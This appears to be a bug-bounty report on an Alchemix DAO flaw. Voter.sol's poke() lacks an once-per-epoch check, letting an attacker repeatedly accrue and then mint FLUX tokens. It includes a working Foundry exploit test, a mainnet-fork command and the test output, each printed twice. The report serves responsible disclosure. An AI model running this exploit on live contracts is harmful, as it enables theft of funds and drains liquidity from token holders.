Direct theft of any user funds, whether at-rest or in-motion, other than unclaimed yield
Description
Brief/Intro
The absence of the onlyNewEpoch(_tokenId) modifier in the poke(uint256 _tokenId) function of the Voter.sol smart contract allows anyone to call poke(uint256 _tokenId) multiple times within the same transaction, inflating his accrued FLUX balance.
Finally, the malicious actor calls FLUX.claimFlux(_tokenId, _amount) to mint unlimited tokens.
Link to asset: https://github.com/alchemix-finance/alchemix-v2-dao/blob/main/src/Voter.sol?#L195
To quickly test the exploit add the following foundry test to your existing tests in alchemix-v2-dao/src/test/FluxToken.t.sol and run:
forge test --fork-url https://eth-mainnet.alchemyapi.io/v2/{API_KEY} --match-path src/test/FluxToken.t.sol --match-test testRepeatedFluxAccrual -vv
Replace *{API_KEY} * with your Alchemy Api Key.
Foundry test:
functiontestRepeatedFluxAccrual() external {// Attacker's address address attacker =address(0x123);// Create a veALCX NFT uint256 tokenId =createVeAlcx(attacker,1e18,veALCX.MAXTIME(),true);console2.log("Attacker mints 1 veALCX NFT with tokenId:", tokenId);// Attacker's balance before uint256 fluxBalance =flux.balanceOf(attacker);console2.log("Attacker's fluxBalance:", fluxBalance);// Attacker's unclaimed flux before uint256 unclaimedFlux =flux.getUnclaimedFlux(tokenId);console2.log("Attacker's unclaimedFlux:", unclaimedFlux);console2.log("------------------> ATTACK STARTS ");console2.log("~ Attacker calls Voter.poke(_tokenId) in a loop to inflate his unclaimed FLUX balance");for(uint256 i =0; i <4; i++) {hevm.prank(attacker);voter.poke(tokenId); }console2.log("------------------> ATTACK ENDS"); unclaimedFlux =flux.getUnclaimedFlux(tokenId);// Claim the unclaimed fluxhevm.prank(attacker);flux.claimFlux(tokenId, unclaimedFlux); fluxBalance =flux.balanceOf(attacker);console2.log("Attacker's fluxBalance after claiming:", fluxBalance); }
The output will be:
Ran1testforsrc/test/FluxToken.t.sol:FluxTokenTest[PASS] testRepeatedFluxAccrual() (gas:1369039)Logs:Attackermints1veALCXNFTwithtokenId:1Attacker's fluxBalance: 0 Attacker'sunclaimedFlux:0------------------> ATTACKSTARTS~AttackercallsVoter.poke(_tokenId) inalooptoinflatehisunclaimedFLUXbalance------------------> ATTACKENDSAttacker's fluxBalance after claiming: 3984666793472586540Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 24.00s (17.11s CPU time)
Vulnerability Details
The internal _vote(...) function in the Vote.sol contract accrues rewards.
One of the public functions that trigger the accrual inside _vote(...) is poke(...), which is missing the onlyNewEpoch(_tokenId) modifier that ensures rewards are only accrued once per epoch.
Without this modifier, an attacker can repeatedly call the poke(...) function within the same transaction inflating their unclaimed FLUX balance and finally mint the tokens by calling flux.claimFlux(tokenId, unclaimedFlux).
Impact Details
Minting unlimited FLUX tokens has several (quite evident) impacts. Here's some of them:
1- FLUX is an ERC20, minting unlimited FLUX leads to draining all liquidity in all AMMs where this token is deployed.
2- FLUX is used to boost a veToken holder's voting power and exit a ve-position early, so minting unlimited FLUX will completely destabilize Alchemix's ecosystem.
Proof of Concept
To quickly test the exploit add the following foundry test to your existing tests in alchemix-v2-dao/src/test/FluxToken.t.sol and run:
forge test --fork-url https://eth-mainnet.alchemyapi.io/v2/{API_KEY} --match-path src/test/FluxToken.t.sol --match-test testRepeatedFluxAccrual -vv
Replace *{API_KEY} * with your Alchemy Api Key.
Foundry tests:
functiontestRepeatedFluxAccrual() external {// Attacker's address address attacker =address(0x123);// Create a veALCX NFT uint256 tokenId =createVeAlcx(attacker,1e18,veALCX.MAXTIME(),true);console2.log("Attacker mints 1 veALCX NFT with tokenId:", tokenId);// Attacker's balance before uint256 fluxBalance =flux.balanceOf(attacker);console2.log("Attacker's fluxBalance:", fluxBalance);// Attacker's unclaimed flux before uint256 unclaimedFlux =flux.getUnclaimedFlux(tokenId);console2.log("Attacker's unclaimedFlux:", unclaimedFlux);console2.log("------------------> ATTACK STARTS ");console2.log("~ Attacker calls Voter.poke(_tokenId) in a loop to inflate his unclaimed FLUX balance");for(uint256 i =0; i <4; i++) {hevm.prank(attacker);voter.poke(tokenId); }console2.log("------------------> ATTACK ENDS"); unclaimedFlux =flux.getUnclaimedFlux(tokenId);// Claim the unclaimed fluxhevm.prank(attacker);flux.claimFlux(tokenId, unclaimedFlux); fluxBalance =flux.balanceOf(attacker);console2.log("Attacker's fluxBalance after claiming:", fluxBalance); }
The output will be:
Ran1testforsrc/test/FluxToken.t.sol:FluxTokenTest[PASS] testRepeatedFluxAccrual() (gas:1369039)Logs:Attackermints1veALCXNFTwithtokenId:1Attacker's fluxBalance: 0 Attacker'sunclaimedFlux:0------------------> ATTACKSTARTS~AttackercallsVoter.poke(_tokenId) inalooptoinflatehisunclaimedFLUXbalance------------------> ATTACKENDSAttacker's fluxBalance after claiming: 3984666793472586540Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 24.00s (17.11s CPU time)